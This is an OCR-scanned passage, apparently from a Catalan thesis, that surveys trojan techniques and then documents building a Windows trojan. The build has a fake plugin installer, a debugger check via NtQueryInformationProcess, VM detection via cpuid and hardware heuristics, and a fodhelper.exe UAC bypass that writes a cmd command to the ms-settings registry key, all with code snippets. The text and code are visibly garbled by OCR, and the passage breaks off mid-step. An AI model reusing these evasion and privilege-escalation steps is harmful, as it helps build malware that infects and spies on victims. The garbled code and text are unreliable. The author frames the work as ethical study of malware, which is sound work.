AvastlUpdateTaskMachine UA

CueueReporting

Consclidator
MWvTmRep_CrashReport2_{B2FE
PLUGScheduler

GoogleUpdateTaskMachineUA{2 ..
Avast Secure Browser Heartbeat ...

MicrozoftEdgeUpdateTaskMachi...

Hora préxima ejecucion
14/01/2024 16:34:44
14/071/2024 16:47:10
14/01/2024 16:58:58
14/01/2024 17:03:45
14/01/2024 17:18:09
14/01/2024 17:25:09
14/01/2024 18:00:00
14/01/2024 18:25:11
14/071/2024 21:54:06

Desencadenadores

A las 9:34 todos los dia
Alas 20:47 todos los di..
Alas 15:58 todos los di..
Alas 16:03 todos los di..
Alas 21:18 todos los di..
Se definieron varios de..

Alas 0:00 el 02/07/200...
Alas 18:25 todos los dias |

Se definieron varios de..

Ubicacidn
\
A\
|
3\
|

‘MicrosoftWindows\Wi...
MicrosoftWindows\Cu...
|

MicrosoftWindows\Wi...

Figura 3: Llista de tasques programades en el sistema

5.3 Elevacio de privilegis

Els troians, en moltes ocasions, busquen elevar els seus privilegis dins d'un sistema
amb I'objectiu de dur a terme accions més perjudicials. Aquest augment de privilegis
els permet accedir a arees del sistema a les quals normalment no hi poden accedir, la
qual cosa facilita I'execucid d'operacions com ara la modificacié d'arxius del sistema i
la instal-lacio de software addicional. En obtenir nivells de privilegi més alts, un troia
pot tenir un control gairebé total sobre el sistema. Normalment, solen aprofitar-se de
vulnerabilitats del sistema o d'arxius mal configurats. A continuacio, veurem tecniques
més especifiques per elevar privilegis.

5.3.1. Manipulacié de tokens d'accés

Els tokens d'accés a sistemes Windows s6n objectes que representen la identitat d'un
usuari o procés dins del sistema. Aquests tokens contenen informacio sobre la identitat
de l'usuari o procés, com ara el nom d'usuari, el grup al qual pertany i els privilegis
que té. La técnica de manipulacio dels tokens d'accés consisteix a enganyar el sistema
perqué cregui que el procés en execucid pertany a algu altre que no és l'usuari que va
iniciar el procés, donant a aquest procés els permisos d'aquest altre usuari. Hi ha tres
meétodes principals per aconseguir la manipulacié de tokens d'accés [25]:

e Duplicar un token d'accés amb la funcié DuplicateToken(Ex) de Windows i
després utilitzar les funcions ImpersonateLoggedOnUser() o SetThre-
adToken() per assignar el token d'impersonacio a un fil d'execucié.

e Crear un nou procés amb un token d'impersonacio usant DuplicateToken(Ex)
juntament amb la funcié CreateProcessWithTokenW().

e Utilitzar nom d'usuari i contrasenya per crear un token mitjangant la funcié
LogonUser(), on I'atacant posseeix un nom d'usuari i una contrasenya, crea una
sessio d'inici de sessio sense iniciar-la realment, obté el nou token i utilitza
SetThreadToken() per assignar-lo a un fil.
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5.3.2. Elusi6 del Control de Comptes d'Usuari (UAC)

El Control de comptes d'usuari (UAC) és una caracteristica de seguretat de Windows
que té com a objectiu principal protegir el sistema de possibles danys i modificacions.
El seu funcionament és senzill: cada vegada que l'usuari vulgui utilitzar o fer alguna
accio que requereixi més permisos, apareixera un quadre demanant confirmar aquesta
accio:

Control de cuentas de usuario ot

;Quieres permitir que esta aplicacion haga
cambios en el dispositivo?

E Windows PowerShell

Editor comprobado: Microsoft Windows

Mostrar mas detalles

50 Mo

Figura 4: Finestra emergent de la UAC sol-licitant permisos d'administrador

D'aquesta manera, només es dura a terme l'accidé que requereix privilegis elevats si
I'usuari confirma la finestra emergent, prevenint que qualsevol malware pugui realitzar
canvis al sistema.

No obstant aix0, hi ha tecniques utilitzades per diversos malware que els permeten
eludir aquesta proteccié per obtenir privilegis elevats sense que l'usuari en sigui cons-
cient.

5.4 Injecci6 de codi

Una de les técniques preferides pels troians, i també per alguns malware, és la d'injec-
ci6 de codi. Es una técnica que es basa a inserir codi maliciés en una aplicacio o sis-
tema informatic, dins d'una aplicacié legitima, de forma que dificulta que els antivirus
puguin detectar-la. A continuacié veurem quines son les injeccions mes comunes uti-
litzades pels troians.

5.4.1 DLL Injection

La injeccié DLL és una técnica utilitzada en programacid i en el desenvolupament de
malware que consisteix a carregar una biblioteca de vincles dinamics (DLL) en I'espai
d'adreces d'un procés en execucid. Aixo es fa generalment sense el permis o el conei-
xement del procés amfitrio. Aquesta tecnica pot ser utilitzada per estendre o alterar el
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comportament d'un programa existent, i en el cas del malware, per a realitzar funcions
malicioses sense ser detectat, afegint una DLL maliciosa a un procés.

5.4.2 Atom Bombing

Aquesta tecnica d'injeccio de processos en sistemes Windows és particularment sofis-
ticada per la seva capacitat d'evitar la deteccidé. Atom Bombing utilitza les taules d'a-
toms de Windows, una caracteristica del sistema operatiu dissenyada per a I'emmagat-
zematge i el compartiment de petites quantitats de dades, per a escriure codi malicios
en lamemoria d'un altre proces [26]. El que la fa especialment enganyosa és que aquest
meétode no requereix I's de funcions de Windows tradicionalment monitorades per a
la deteccio de malware.

5.4.3 Process Hollowing

Aguesta técnica implica la creacié d'un proces legitim en estat suspes, com pot ser un
proces de sistema o un aplicatiu comd. Un cop creat, el contingut intern d'aquest procés
es buida i es substitueix amb codi malicids. Aquest codi és llavors executat quan el
procés es reanuda [26]. La utilitat d'aquest métode per als atacants recau en la seva
capacitat de camuflar el codi malicios dins d'un procés que aparenta ser legitim.

5.4.4. Webinject

Els Webinjects sobn moduls o paquets utilitzats en malware bancari que, tipicament,
injecten codi HTML o JavaScript en el contingut abans que aquest sigui renderitzat en
un navegador web [27]. Aquestes injeccions en concret, no busquen executar codi
malicids en un procés, sind alterar el contingut que l'usuari veu en el seu navegador,
en contraposicio al que realment envia el servidor. Per exemple, poden afegir o elimi-
nar camps de text i altres elements de la interficie grafica d'usuari. Aquestes accions
malicioses poden incloure la redirecci6 de l'usuari a llocs web fraudulents o la recopi-
lacié de dades delicades com ara informaci6 d'inici de sessio i dades de targetes de
credit, afegint per exemple un camp de text malicids on es demani a l'usuari dades de
caracter més confidencial.

5.5 Spyware

Es comu que els troians incorporin técniques d'espionatge, aixo els permet recol-lectar
informacié delicada de I'usuari. Els troians poden registrar pulsacions de tecles, cap-
turar dades de formularis web, aixi com capturar la pantalla. A continuacié veurem
algunes de les tecniques spyware més comunes.

5.5.1 Keylogger

Els keylogger son una forma de malware que s'utilitza per registrar les pulsacions de
tecles en un dispositiu. Els atacants utilitzen keyloggers per capturar informacié deli-
cada, com ara contrasenyes, numeros de targetes de credit, entre d’altres. A continua-
cid, es detalla com els keyloggers funcionen i com els utilitzen els atacants:

e Registre de pulsacions de tecles: Una vegada instal-lat, el keylogger comenca
a registrar totes les pulsacions de tecles que es fan al dispositiu. Aixo inclou tot

17



allo que l'usuari escriu, des de les cerques a internet fins a les contrasenyes i
els nimeros de targetes de credit.

e Transmissié de dades: Els keyloggers emmagatzemen les dades registrades
en fitxers que després es transmeten a l'atacant. Aixo es pot dur a terme de
diverses maneres: alguns keyloggers envien les dades per correu electronic a
I'atacant, mentre que altres les pugen a un lloc web, una base de dades o les
transmeten al servidor. En el cas dels keyloggers basats en maquinari, les dades
es poden emmagatzemar al dispositiu fins que I'atacant les recupera fisicament.

5.5.2 Captures de pantalla

Una de les capacitats d'alguns troians és la de realitzar captures de pantalla, la qual
cosa els permet registrar visualment I'activitat de l'usuari al dispositiu. Aquestes cap-
tures de pantalla poden ser utilitzades per recopilar informacié confidencial, com ara
contrasenyes, dades bancaries o converses privades. Per exemple, s'han detectat troians
bancaris que capturen la pantalla de I'usuari mentre aquest s'autentica per accedir al
compte bancari.

5.6 Servidors command and control (C&C)

Els servidors de command and control (C&C) s6n components clau per als troians i
s'utilitzen per a controlar els que s'han instal-lat en els sistemes infectats. Funcionen
com a centres de comandament des d'on un atacant pot enviar ordres als dispositius i
rebre dades sobre aquests. Aix0 permet als atacants controlar una gran quantitat d'or-
dinadors infectats simultaniament, coneguts com a botnets.

Les botnets son xarxes de dispositius infectats amb malware que es poden controlar
de manera remota. El propietari de la botnet pot utilitzar aquests dispositius per a rea-
litzar diverses activitats malicioses, com podrien ser:

e Atacs de denegacié de servei (DDoS): En un atac DDoS, la botnet s'utilitza
per a inundar un servidor o infraestructura web amb un volum massiu de trafic,
amb l'objectiu de sobrecarregar els recursos i fer que el servei sigui inaccesible
als usuaris legitims. Els dispositius infectats de la botnet envien peticions si-
multanies al servidor objectiu.

e Enviament d'spam: Poden convertir els dispositius infectats en botnets zom-
bies que envien grans quantitats de correu no desitjat. Aquests correus poden
contenir publicitat no sol-licitada, enllagos a llocs web maliciosos, o fins i tot
programes de malware inclosos en els arxius adjunts.

5.7 Ransomware

Una altra de les técniques dels troians és representada pels ransomware. Aquests son
programes maliciosos dissenyats per a xifrar els fitxers de I'usuari o impedir l'acces al
sistema operatiu. Un cop s'ha realitzat el xifratge o el bloqueig, els ciberdelingtients
sol-liciten un rescat a les victimes a canvi de proporcionar la clau de desxifratge o
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restablir I'accés. Aquest tipus de malware és especialment perillés, donat que pot afec-
tar a dades importants.

Algunes de les tecniques de xifratge [28] utilitzades en el ransomware son:

Xifratge simetric: Algunes variants més antigues de ransomware utilitzen
Unicament xifratge AES, que és rapid i eficac per a fitxers grans, pero la clau
de desxifratge acostuma a estar emmagatzemada al disc, la qual cosa pot per-
metre que els investigadors desenvolupin eines per a desxifrar els fitxers afec-
tats.

Xifratge asimetric del client: Aquest métode fa servir un parell de claus RSA,
on tots els fitxers son xifrats amb la clau publica, i la privada s'envia a un ser-
vidor. Aquest tipus de xifratge és lent per a fitxers grans i requereix connexié
a internet per a emmagatzemar la clau privada de manera segura.

Xifratge asimeétric del servidor: En aquest cas, el servidor genera el parell de
claus RSA i la clau pablica s'afegeix al ransomware. Tot i que aixo pot facilitar
que els investigadors obtinguin la clau privada i lI'ofereixin a les victimes, si
algu paga el rescat, tots podrien recuperar els seus fitxers.

Xifratge hibrid: La majoria dels ransomwares moderns utilitzen una combi-
nacié de xifratge simétric i asimétric. EI ransomware i el servidor genera els
seus propis parells de claus RSA, i tots els fitxers sén xifrats amb AES, que
alhora son xifrats amb la clau publica RSA del client. Aixo permet el xifratge
sense necessitat de connexio a internet, nomeés per al desxifratge
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6. Desenvolupament del troia

Després d'una analisi exhaustiva sobre com funcionen la majoria dels troians i quines
tecniques utilitzen, es planteja la seglient pregunta: Quina és la millor forma d'entendre
com funcionen en la practica? A continuacid, es dona resposta a aquesta pregunta a
través de la creacio d'un troia que permeti replicar algunes de les tecniques analitzades,
observant aixi com interactua amb el sistema. Una creacié sempre enfocada a fins
etics, que permeti saber com fer front a un perill cada vegada més present en la societat
hiperconnectada actual.

Aquest troia esta pensat per operar en sistemes operatius Windows. Per al seu desen-
volupament s'ha triat un llenguatge de programacié de més baix nivell (C++), per po-
der tenir més accés al sistema operatiu, gracies a I'API de Windows [29] que, com
podrem comprovar més endavant, ens ajudara a realitzar la majoria de les técniques
implementades.

El troia es composa per 4 entitats:

Loader

Payload (carrega maliciosa)

Servidor command and control (C&C)
Dashboard de I'atacant

En primer lloc, trobem el loader, que sera I'encarregat de fer servir tecniques d'evasio
per evitar ser detectat, tecniques de persisténcia perqué se segueixi executant al sistema
una vegada el sistema s'ha apagat o reiniciat, tecniques per elevar privilegis per tenir
accés complet al sistema, per finalment executar una injeccio de codi en un proceés, en
concret una injeccié DLL, que s'explicara en detall més endavant. Aquesta DLL mali-
ciosa s'obtindra d'un servidor command and control (C&C).

Tot seguit trobem el payload (carrega maliciosa). En aquest cas, és un fitxer DLL
(aquests tipus de fitxers s'explicaran en detall més endavant), que posara en practica
diferents operacions malicioses, des de técniques de spyware, com ara keylogger (re-
gistrador de tecles) i captures de pantalla, fins al xifrat de fitxers. Aquesta DLL esta
desenvolupada perqué envii peticions al servidor cada cert temps (polling), és a dir, no
tindrem una connexio directa.

El troia necessitara rebre instruccions, per exemple, si un atacant vol encriptar una
determinada maquina o si vol que executi una instruccié concreta. Per aquesta rad, s'ha
creat un servidor command and control (C&C) per poder tenir una connexié amb les
maquines victimes. Aquests servidors tenen un paper molt important, ja que sén els
encarregats de controlar i gestionar les maquines infectades. Aquest servidor ha estat
desenvolupat amb FASTAPI, un framework de Python.

Finalment, trobem el dashboard web, creat amb HTML, CSS i JavaScript. Aquest
dashboard sera el que permetra a lI'atacant poder dirigir a les maquines victimes. L'a-
tacant tindra la capacitat de poder veure totes les maquines infectades i triar-ne les
accions malicioses des d'una interficie grafica.
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Per oferir una visié general de com funciona el troia, a continuacié s'inclou un dia-
grama. Aquest diagrama vol reflectir com es relacionen i interactuen aquests compo-
nents, proporcionant una imatge més clara del funcionament:
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victima Méquinﬁl’ctima Lloc Web  Servidor Malware

| Accedeix al lloc web -
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o T
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| Obre linstal-lador fals
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i | Detecta maguina virtual |
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. Comprova debugging
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Continua execucio
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|: :I I/_“\ If_'\.l If_'\.l I/_-

f / \/ \/ N

P

R

Figura 5: Diagrama seqiencial de la infeccio

6.1 Vector d'infecci6

Els troians utilitzen diferents técniques per infectar un sistema, com ara correus elec-
tronics enganyosos amb un arxiu malicios adjunt, o simplement aprofiten falles de
seguretat per infectar el sistema. Pero sens dubte, una de les més usades és mitjangant
software que aparentment sembla legitim. La victima executa aquest software pensant
que no implica cap perill, pero, en obrir aquest arxiu, el troia s'allibera com si fossin
els guerrers del famos cavall de Troia.

El vector d'infeccid sera el seglient: un usuari esta navegant per internet i accedeix a
una web. Aquesta web sol-licita que s'instal-li un plugin per poder accedir al contingut.
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Aquesta pagina web proporciona I”’instal-lador”, i I'usuari innocentment I'obre per po-
der descarregar el plugin.

Se necesita un plugin para ver el contenido.

Por favor, instale el plugin para poder visualizar el contenido.

Descargar Plugin

Figura 6: Pagina web sol-licitant I’instal-laci6 del plugin

La victima obre I'instal-lador i, poc després, apareix un error indicant que no s‘ha pogut
instal-lar el plugin.

En aquest punt, l'usuari probablement pensa que hi ha d'haver algun error al sistema
que fa que no pugui dur a terme la instal-lacio del plugin. Pero el troia ja esta operant
i, el pitjor de tot, és la facilitat amb la qual ha aconseguit enganyar l'usuari.

6.2 Tecniques d'evasio

Un aspecte clau del disseny d'aquest troia és la seva capacitat d'evadir deteccions i
analisis, fet que li permet:

e Detectar entorns virtualitzats: El troia pot identificar si esta operant dins d'un
entorn virtualitzat. Aixdo permet modificar el comportament en aquests en-
torns, la qual cosa és crucial per evitar analisis i deteccions en entorns de prova
0 investigacid. Per exemple, es podria abstenir d'executar certes operacions o
alterar el comportament en ambients virtualitzats.

e Detectar la depuracio: L'habilitat del troia per detectar si esta sent depurat és
essencial per eludir analisis forenses i eines d'enginyeria inversa. Aquesta ca-
pacitat permet ocultar les seves veritables funcionalitats i mecanismes interns
dels investigadors de seguretat, ajustant el seu comportament en presencia d'ei-
nes de depuracio.

6.2.1 Deteccio de depuradors amb NtQuerylnformationProcess()

Posem-nos ara en la situacio seguent: el troia que s'ha desenvolupat ha caigut en mans
d'un analista de malware que es disposa a fer una analisi. Per a portar-la a terme, aquest
analista utilitza x64dbg, un depurador binari de codi obert per a Windows, utilitzat
principalment per a l'analisi de malware i I'enginyeria inversa. Si ens situem en una
perspectiva d'atacant, ens interessaria poder detectar si el nostre codi s depurat, donat
que significaria que el seu comportament esta sent analitzat. Per poder detectar que
s'esta depurant, el troia utilitza principalment la funcié de I'API de Windows
NtQuerylnformationProcess(), que té la seguent estructura:
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__kernel_entry NTSTATUS NtQueryInformationProcess(

[in] HANDLE ProcessHandle,

[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,

[in] ULONG ProcessInformationlLength,
[out, optional] PULONG ReturnLength

ik

Figura 7: Estructura de NtQuerylnformationProcess(). Font: https://learn.microsoft.com/en-us/win-
dows/win32/api/winternl/nf-winternl-ntqueryinformationprocess

Si consultem la documentacié de la funcié NtQueryInformationProcess() de Windows,
trobem que es pot utilitzar per obtenir informacio sobre un procés especific. Un dels
usos d'aquesta funcid és per determinar si un procés esta sent depurat. Per fer-ho, fem
servir un identificador especial anomenat ProcessDebugPort, que correspon al valor
7. Aquesta funcié verifica el port de depuracid del procés. Si NtQuerylnformationPro-
cess() ens retorna un valor que no és zero quan s'usa aquest identificador, aixo indica
que el procés en questio esta sota depuracid. En altres paraules, un valor diferent de
zero ens diu que un depurador esta connectat al proces.

La funcié NtQuerylnformationProcess() és una part de les APIs internes de Windows,
conegudes com a Native API. Aquestes funcions es proporcionen a traves de la bibli-
oteca ntdll.dll, que conté serveis que els components del sistema operatiu utilitzen per
realitzar certes tasques. El fet que aquesta funcié no sigui accessible directament a
través de I'API de Windows, significa que els desenvolupadors que vulguin fer servir
NtQuerylnformationProcess() han de carregar-la dinamicament des de ntdll.dll. Aixo
es fa tipicament mitjancant una técnica anomenada DLL injection, on el codi d'un pro-
grama fa una crida a LoadLibrary() per carregar ntdll.dll i després GetProcAddress()
per obtenir l'adreca de la funcié NtQuerylnformationProcess():

ptrQueryProcInfo = (fnQueryProcInfo)GetProcdddress(GetModuleHandle (TEXT{"NTDLL.DLL")), "NtQueryInformationProcess");

Figura 8: Guardant I’adrecga de NtQuerylnformationProcess()
Un cop s'ha obtingut I'adreca de la funcid, el programa pot cridar NtQuerylnformati-
onProcess() directament, passant-li diversos arguments. Un d'aquests arguments és un

indicador anomenat ProcessDebugPort, representat pel nimero 7, que instrueix la fun-
ci6 per retornar informacio sobre el port de depuracio del proceés:
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querystatus = ptrQueryProcInfof
GetCurrentProcess(),
ProcessDebugPortIndicator,
&debugPortValue,
sizeof (DWORDES ),
nullptr

1

Figura 9: Sol-licitant informacio del port de depuracié

En el context de la depuracio, un port no es refereix a una connexio fisica sin6 a un
canal de comunicacio logic que el sistema operatiu utilitza per permetre que els depu-
radors es comuniquin amb els processos.

El valor que NtQueryInformationProcess() retorna es guarda en una variable, anome-
nada debugPortValue. Si el valor d'aquest és diferent de 0, significa que s'esta depu-
rant.

Tornant al principi, on situavem I'analista de malware disposant-se a analitzar el nostre
malware, veiem que passaria si I'obris amb x64dbg:

DE sl Y& »§ tal@i=ofLhs L0 0

ﬁ CPU | Log |_H Motas ® Breakpoints 8 Mapa de memoria [L}" Pila de llamadas &t SEH

YW+ |[O0007FF7FAS91730 48:83EC 28 sub rsp,z6
. 7FF7FA991734 ES D70320000 call <inyecciondllix
. 39 48:83C4 28 add rsp,2s8
L] ~ E9 72FEFFFF jmp <inyvecciondllidi
. CC int3
L cc int3
. 40:53 push rbx
. 48:83EC 20 sub rsp,z20
L] 48:8ED2 mov rbx,rcx
. 33C9 XOF ecX,ecx
. FF15 EB130000 €all gword ptr ds:[-
. 45: 8BCE MOV FCX,rbx
. FF15 DA130000 call gword ptr ds:[-
L] FF15 SC130000 call gword ptr ds:[-
. 48:3BCE MoV FCX,rax

Ci\Users\Sergio\source\repos X +

The process is being debugged!
Nice try with the debugger. Better luck next time!

Figura 10: Depuracid detectada pel malware

Com podem observar, el malware ha detectat que esta sent depurat i, per tant, alterara
el comportament per evitar I'analisi.
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6.2.2 Detecci6 d’entorns virtualitzats amb les cadenes dels hipervisors

Els analistes de malware acostumen a utilitzar entorns virtualitzats o sandbox, amb
I'objectiu de comptar amb un entorn segur on poder aplicar enginyeria inversa i ana-
litzar el malware. D'aquesta manera, les accions malicioses que utilitza el malware
mai no poden arribar a danyar un sistema real sind, en tot cas, un sistema virtualitzat.
Si ens situem en el punt de vista d'un atacant, a banda de detectar que el codi s'estigui
depurant, també interessara detectar si el malware esta corrent en un sistema real o no.

Per aquesta rad, el métode principal de deteccio té a veure amb els hipervisors. Els
hipervisors son programes que permeten executar sistemes operatius simultaniament
en una sola maquina real, creant maquines virtuals (VMSs), i sovint acostumen a deixar
una signatura unica dins del sistema. En identificar aquestes signatures com a cadenes
especifiques al registre de la CPU, es pot determinar la presencia d'una maquina vir-
tual. D'aquesta manera, si un malware detecta que s'esta executant en una maquina
virtual, podria produir contramesures per evitar la seva analisi. Per poder obtenir
aquestes cadenes, s'ha agafat com a referéncia la informacié continguda en una publi-
cacié de VMWare [30].

Alguns dels identificadors més comuns dels fabricants d'hipervisors son:

e VMware: Els sistemes operatius que corren sobre VMware solen tenir identifi-
cadors com a "VMwareVMware".

e VirtualBox (Oracle): Aquesta plataforma de virtualitzacié sovint utilitza iden-
tificadors com a "VBoxVBoxVBox".

e Microsoft Hyper-V: Microsoft té la seva propia solucié de virtualitzacio, i els
identificadors poden incloure referéncies a Hyper-V.

e KVM (Kernel-based Virtual Machine): Es un hipervisor de Linux, i podria
identificar-se amb cadenes com a "KVMKVMKVM",

e Xen: Un altre popular hipervisor, sol tenir identificadors com a
"XenVMMXenVMM".
Per poder obtenir la informacio del processador, podem fer servir la instruccié ___cpuid
[31].
Aguesta instruccio té dos arguments principals:
e Un array de quatre elements que representen els registres EAX, EBX, ECX i
EDX. Aquest array és on es retornara la informacié del processador després de

la crida cpuid.

e Un valor que es passa al registre EAX que indica a __cpuid quina informacio
especifica se sol-licita sobre la CPU.
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Quan es crida la instruccio __cpuid amb I'argument 01h, els registres EAX, EBX, ECX
i EDX s'ompliran amb informacio sobre les propietats de la CPU. En aquest cas, EAX
conté informacid sobre la versié del processador, incloent la familia de la CPU i el
model. Aquest registre ens servira per indicar quina informacid especifica se sol-licita
sobre la CPU. El bit 31 del registre ECX (el més significatiu), s'utilitza per detectar la
presencia d'un hipervisor. Si aquest bit esta activat, indica que el sistema operatiu s'esta
executant dins d'un entorn virtualitzat.

Per obtenir la cadena de caracters que identifica I'hipervisor, cal realitzar una crida a
cpuid amb I'argument 0x40000000h, on els registres EBX, ECX i EDX proporcionaran
segments de la cadena d'identificacié de I'hipervisor.

vold AcquireVendorIdentifier{char* vendorIdentifier, const int infolArray[4]) {
memcpy {vendorldentifier, &infolArrayv[l], 4);
memcpy {vendorldentifier + 4, &infoArray[2], 4);
memcpy {vendorIdentifier + 8, &infolArray[3], 4);

vendorldentifier[12] = '48"';

Figura 11: Construcci6 de la cadena de I’hipervisor

Una vegada tenim la cadena de caracters que representa I'hipervisor, la compararem
amb una llista de cadenes que ja tenim, una per una, per veure si hi ha alguna coinci-
déncia.

Si s'executa el malware en una maquina virtual utilitzant VMWare:

————————————————— VM Detection Start

on @lh (Processor Info and Feature Bits):

Hypervisor was de d! Querying the vendor identification string...

The hypervisor vendor identification string is: "VMwareVMware"
Match found! This system is running under: VMwareVMware

Conclusion: This is a wvirtual machine.

Figura 12: Maquina virtual detectada pel malware

Podem comprovar que el malware ha detectat la maquina virtual correctament.

Es una manera fiable de detectar si s'executa en una maquina virtual, perd pot generar
un fals negatiu. Per poder cobrir el maxim possible la deteccid, es poden emprar altres
meétodes que, encara que potser sén menys efectius, també poden servir per detectar
un entorn virtualitzat:
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Mida dels digits dels fitxers: Algunes maquines virtuals generen noms de fit-
xers amb una quantitat tan gran de digits, que pot arribar a ser estrany. Per
detectar si és una maquina virtual, es podria analitzar el nom del fitxer execu-
table fent una cerca en els digits numerics.

Especificacions del hardware: Si revisem els estandards de maquinari que te-
nen els ordinadors actualment, rarament tenen menys de 2 processadors o
menys de 2GB de memoria RAM. Anys enrere podria semblar normal, pero en
I'actualitat no ho és. Si ens fixem en les maquines virtuals, aquestes no acostu-
men a configurar-se a partir de grans recursos. D'aquesta manera, una forma de
detectar si és una maquina virtual o no, podria ser observant si té menys de dos
processadors o menys de 2GB de RAM. Considerem aquests valors apropiats,
ja que si els augmentem, es podrien arribar a generar falsos positius per a ma-
quines reals amb pocs recursos.

Resolucio6 de la pantalla: La resolucio de pantalla en entorns virtualitzats és
molt més petita que la d'un sistema real. Aleshores, podem basar-nos en la re-
solucié per poder determinar si estem davant d'un entorn real o un entorn emu-
lat. En aquest cas, es pren com a referéncia una resolucié de 800x600, relati-
vament petita, per no arribar a generar falsos positius.

Processos en execucio: Normalment, els sistemes operatius en entorns reals
solen executar una gran quantitat de processos, ja que aquests disposen de
molts més serveis que un entorn emulat. | en aquest context, podem basar-nos
en el nombre de processos per determinar si estem davant d'una maquina vir-
tual. A la implementaci6 es tindra en compte que, si el nombre de processos és
menor a 50, es considerara que s'esta executant en un entorn virtualitzat.

6.3 Elevacio de privilegis

Un element crucial en la funcionalitat del troia és la seva capacitat d'elevar privilegis,
fet que li possibilita realitzar les accions seguents:

Accedir a la configuracié del sistema operatiu. D’aquesta forma, es tindria
la capacitat de canviar la configuracio del software de seguretat, com podrien
ser el firewall o I'antivirus.

Generar persistencia de manera molt més eficac. Li permetria I'accés a di-
rectoris que estan protegits, als quals no qualsevol usuari podria accedir, i ins-
tal-lar alguns dels seus components. No només aixo, sind que també podria
modificar registres.

Accedir a informacié delicada. Normalment, la major part d'informacio deli-
cada esta protegida i un usuari normal no hi podria accedir.

Aquest apartat abordara I'estratégia que el troia utilitza per escalar els seus privilegis
dins de la maquina victima: el bypass del Control de Comptes d'Usuari (UAC) de
Windows. Aquest metode ha estat integrat al troia per facilitar I'execucié de les seves
operacions malintencionades sense restriccions. Es detallaran els mecanismes especi-
fics que el troia usa per elevar els seus privilegis.
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6.3.1 Bypass de la UAC mitjancant fodhelper.exe

Abans que el troia intenti elevar els privilegis, haura de ser capa¢ de comprovar si ja
s'esta executant amb privilegis o no. | aixo es pot confirmar a través dels tokens d'acces.
Cada procés que s'executa al sistema esta associat a un d'aquests tokens, cadascun dels
quals té les caracteristiques seguents:

e Identitat de I'usuari: La identitat de lI'usuari és el nom del compte d'usuari que
esta vinculat al procés.

e Grups de lI'usuari: Els grups poden definir els privilegis que té un usuari. Els
grups de l'usuari son els grups als quals pertany l'usuari.

e Privilegis de I'usuari: Els privilegis de l'usuari sén els drets que té I'usuari per
accedir al sistema.

Per tant, per detectar si el procés s'esta executant amb privilegis, ens centrarem a ob-
tenir el token d'accés associat al procés. Depenent de si aquest token esta elevat o no,
podrem deduir si el procés s'esta executant amb privilegis elevats.

Per esbrinar-ho, la implementacio que es duu a terme és la seguent:

Es pren una instantania (snapshot) dels processos en execucié mitjancant la funcié
CreateToolhelp32Snapshot() de I'API del Windows. Per poder iterar per tots els pro-
cessos dels quals s'ha obtingut la instantania, s'utilitzen les funcions Process32First()
i Process32Next(). En aquesta iteracié es comprovara si el nom del procés coincideix
amb el nom del procés que li hem passat, que en aquest cas és el malware en si. En cas
que hi hagi una coincidéncia s'utilitzara la funcié OpenProcess() per poder obtenir un
handle del procés, necessari per poder fer consultes sobre aquest procés.

Arribats a aquest punt, ja tenim el token associat al procés. El que ara necessitem és
comprovar si aquest token esta elevat o no. Un token elevat significa que té permisos
d'administrador i, per esbrinar-ho, necessitarem cridar a la funcié GetTokenInforma-
tion() i passar-li el token. Cal especificar que volem que la informaci6 que ens retorni
sigui TokenElevation. Aixo ens tornara una estructura TOKEN ELEVATION. Dins d'a-
questa estructura, revisarem el TokenlsElevated i, si és més gran que 0, significara que
el token esta elevat i, com a consequiéncia, el nostre proceés tindra privilegis d'adminis-
trador:

TOKEN_ELEVATION tokenElevation;

DWORD size;

if (GetTokenInformation(tokenHandle, TokenElevation, &tokenElevation,
sizeof(tokenElevation), &size)) {

return tokenElevation.TokenIsElevated > &;

Figura 13: Comprovant elevaci6 del token
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Totes les funcions que he esmentat a I'explicacio anterior son de I'API de Windows i,
com hem pogut comprovar fins ara, és una eina molt potent per poder accedir a com-
ponents de més baix nivell.

Assolit aquest punt, ja tenim la capacitat de detectar si el nostre malware té privilegis
0 no. En cas que no en tingui, el segiient pas sera elevar aquests privilegis. Per a elevar-
los, el troia empra una técnica anomenada UAC Bypass (Bypass de Control de Comp-
tes d'Usuari), en que trobem dos actors principals: User Account Manager (UAC) i
fodhelper.exe. Si fem memoria, en I'apartat anterior dedicat a les técniques més comu-
nes dels troians, es fa servir aquesta técnica i s'explica que és I'User Account Manager
(UAC). Per arribar a comprendre bé aquesta técnica i poder implementar-Ila, s'ha ob-
tingut la informacio sobre com funciona a partir d'una publicacié de Medium [32].

El principal element per poder dur a terme el bypass de la UAC és el fitxer executable
present als sistemes operatius Windows, fodhelper.exe. El seu principal objectiu és
ajudar a la instal-lacio de certes caracteristiques addicionals del sistema, o també poder
activar alguns components de Windows.

La rad principal per la qual s'utilitza fodhelper.exe és el seu curiés comportament, ja
que aquest fitxer s'executa amb privilegis elevats, sense mostrar l'alerta UAC, pel fet
que és una eina de confianca del sistema. El fet que s'executi amb privilegis elevats el
converteix en un potencial vector d'atac per poder guanyar privilegis.

Per fer el bypass de la UAC, el primer pas sera obtenir la ruta de I'executable actual,
que és el troia en si. Aquesta ruta s'emmagatzemara a la variable exePath. El segiient
pas sera escriure la instruccié que volem executar amb privilegis:

— std::wstring command = L"cmd /c start \"Terminal1\" C:\\Windows\\Sys-
tem32\\cmd.exe /c " + exePath;

Aquesta instruccio s'executara amb privilegis elevats. Si ens fixem, esta obrint una
cmd (que tindra permisos d'administrador) i executara de nou el mateix malware que
s'esta executant, que aquesta vegada si que tindra permisos elevats. La idea principal
d'aquesta instruccio és que, en comptes d'executar el procés legitim fodhelper.exe (que
s'executa amb privilegis sense acceptar el prompt de la UAC), s'executi aquesta ins-
truccio.

Primerament, necessitarem escriure aquesta instruccié a la seguent clau de Windows:

— HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\com-
mand

Aquesta clau té un paper crucial en el proces, ja que esta directament vinculada amb
el protocol ms-settings, que és utilitzat pel sistema operatiu Windows per gestionar les
accions relacionades amb la configuracio del sistema. Quan s'executa fodhelper.exe,
aquest busca la configuraci6 associada a ms-settings. En aquest moment, si hem mo-
dificat aquesta clau del registre per apuntar a un executable, en lloc de I'accio prede-
terminada de fodhelper.exe (obrir la interficie de configuracio de Windows), es realit-
zara I'accio maliciosa que hem definit.
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file://///cmd.exe

status = SetRegValue(keyHandle, L"", command.c_str(l);
if (status != ERROR_SUCCESS) {
wprintf{L"Failed to set reg wvaluein");
RegClosekey(keyHandle);

return 1;

Figura 14: Agregant la instrucci6 a la clau

D'aquesta manera, podem redirigir I'accié que normalment realitzaria fodhelper.exe
per executar el nostre malware amb privilegis elevats, tot aixo sense activar l'alerta de
UAC.

Seguidament, el que necessitarem és afegir dues coses a la clau:

